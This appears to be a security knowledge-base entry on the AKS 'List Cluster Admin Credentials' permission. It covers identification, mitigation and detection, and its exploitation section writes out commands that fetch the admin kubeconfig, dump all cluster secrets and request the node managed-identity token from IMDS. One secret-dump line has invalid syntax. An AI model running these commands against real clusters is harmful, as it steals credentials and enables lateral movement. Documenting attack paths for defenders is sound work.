AZ_LIST_CLUSTER_ADMIN_CREDENTIALS

Summary

Forestall ACL Alias	AZ_LIST_CLUSTER_ADMIN_CREDENTIALS
Azure Alias	AKS List Cluster Admin Credentials
Affected Object Types	Managed Kubernetes Clusters (AKS)
Exploitation Certainty	Certain
Severity	Critical
Azure RBAC Roles	Azure Kubernetes Service Cluster Admin Role (0ab0b1a8-8aac-4efd-b8c2-3ee1fb270be8), Azure Kubernetes Service Contributor Role (ed7f3fbd-7b88-4dd4-9017-9adb7ce333f8)

Custom Role Actions:

• Microsoft.ContainerService/managedClusters/listClusterAdminCredential/action

Description

This edge allows retrieving the cluster-admin kubeconfig for an AKS cluster. The returned kubeconfig grants full cluster-admin privileges, bypassing any Microsoft Entra / Kubernetes RBAC integration.

With cluster-admin access an attacker can:

• Read all Kubernetes secrets (credentials, tokens, connection strings)

• Deploy or modify workloads to run arbitrary code

• Access the cluster's managed identity for lateral movement

• Pivot to internal resources reachable from the cluster network

Note: When local accounts are disabled (--disable-local-accounts), this action is blocked.

Related edges: AZ_AKS_CONTRIBUTOR | AZ_EXECUTE_COMMAND

Identification

PowerShell (Az Module)

Connect-AzAccount

$adminCredRoles = @(
    "Azure Kubernetes Service Cluster Admin Role",
    "Azure Kubernetes Service Contributor Role"
)

Get-AzRoleAssignment |
    Where-Object { $adminCredRoles -contains $_.RoleDefinitionName } |
    Select-Object DisplayName, SignInName, RoleDefinitionName, Scope |
    Format-Table -AutoSize

# Check assignments on a specific cluster
Get-AzRoleAssignment -Scope "/subscriptions/<SubId>/resourceGroups/<RGName>/providers/Microsoft.ContainerService/managedClusters/<ClusterName>" |
    Select-Object DisplayName, RoleDefinitionName, ObjectType |
    Format-Table -AutoSize

Azure Portal

1. Navigate to the AKS cluster -> Access control (IAM) -> Role assignments.

2. Azure Kubernetes Service Cluster Admin Role, or Azure Kubernetes Service Contributor Role.

3. Under Settings -> Cluster configuration, verify if Local accounts are enabled.

Exploitation

Retrieve the cluster-admin kubeconfig

az aks get-credentials --resource-group "<RGName>" --name "<ClusterName>" --admin

kubectl get nodes

Dump kubeconfig and list nodes

Dump Kubernetes secrets

kubectl get secrets --all-namespaces

kubectl get secret <secret-name> -n <namespace> -o jsonpath='{.data}' | base64 -d

kubectl get all secrets

Steal the node managed identity token

Pods run on VMSS worker nodes. Each node has a kubelet managed identity accessible via IMDS (169.254.169.254). By default, all nodes share the same identity.

Step 1 - Get the kubelet identity client ID:

az aks show --resource-group "<RGName>" --name "<ClusterName>" \
    --query "identityProfile.kubeletidentity.clientId" -o tsv

Get AKS client ID

Step 2 - Request token from inside a pod:

kubectl run azure-cli --image=mcr.microsoft.com/azure-cli --restart=Never --command -- sleep infinity

kubectl exec -it azure-cli -- curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/&client_id=<KUBELET_CLIENT_ID>"

Get managed identity token

Mitigation

1. Disable local accounts - Set --disable-local-accounts to block listClusterAdminCredential entirely.

2. Restrict role assignments - Limit Cluster Admin Role assignments; use Cluster User Role for day-to-day access.

3. Scope to cluster level - Avoid subscription or resource group scope when cluster scope suffices.

4. Enable Microsoft Entra Kubernetes RBAC - Enforce least privilege within the cluster.

Detection

Use the Azure Portal and Microsoft Entra admin center:

1. Open Azure Portal -> target AKS cluster.

2. Open Activity log and filter Operation for listClusterAdminCredential.

3. Review Caller, IP address, Timestamp, Resource, and Status for unexpected credential retrieval.

4. Open Microsoft Entra admin center -> Identity -> Monitoring & health -> Sign-in logs and review sign-ins related to the identity that retrieved the cluster admin credentials.

References

• Azure Kubernetes Service Cluster Admin Role

• Manage local accounts on AKS

• az aks get-credentials

• Azure Threat Research Matrix - AZT301-3